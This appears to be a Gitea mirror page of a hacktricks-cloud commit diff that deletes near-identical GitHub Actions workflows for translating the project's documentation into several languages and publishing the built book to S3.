gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-05 20:40:18 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/azure-security/az-services/az-automati

Browse Source
This commit is contained in:
Translator
2025-08-21 00:24:22 +00:00
parent e01aafb432
commit c5b45e402d
21 changed files with 495 additions and 1939 deletions
Download Patch File Download Diff File Expand all files Collapse all files

119
.github/workflows/translate_af.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to AF (Afrikaans)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: af
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Afrikaans
BRANCH: af
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_de.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to DE (German)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: de
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: German
BRANCH: de
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_el.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to EL (Greek)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: el
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Greek
BRANCH: el
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_es.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to ES (Spanish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: es
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Spanish
BRANCH: es
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_fr.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to FR (French)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: fr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: French
BRANCH: fr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_it.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to IT (Italian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: it
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Italian
BRANCH: it
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_ja.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to JA (Japanese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: ja
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Japanese
BRANCH: ja
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_ko.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to KO (Korean)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: ko
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Korean
BRANCH: ko
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_pl.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to PL (Polish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: pl
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Polish
BRANCH: pl
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_pt.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to PT (Portuguese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: pt
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Portuguese
BRANCH: pt
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_sr.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to SR (Serbian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: sr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Serbian
BRANCH: sr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete

119
.github/workflows/translate_sw.yml vendored
View File

@@ -1,119 +0,0 @@
name: Translator to SW (Swahili)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: sw
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Swahili
BRANCH: sw
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.8
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
cd scripts
rm -f translator.py
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
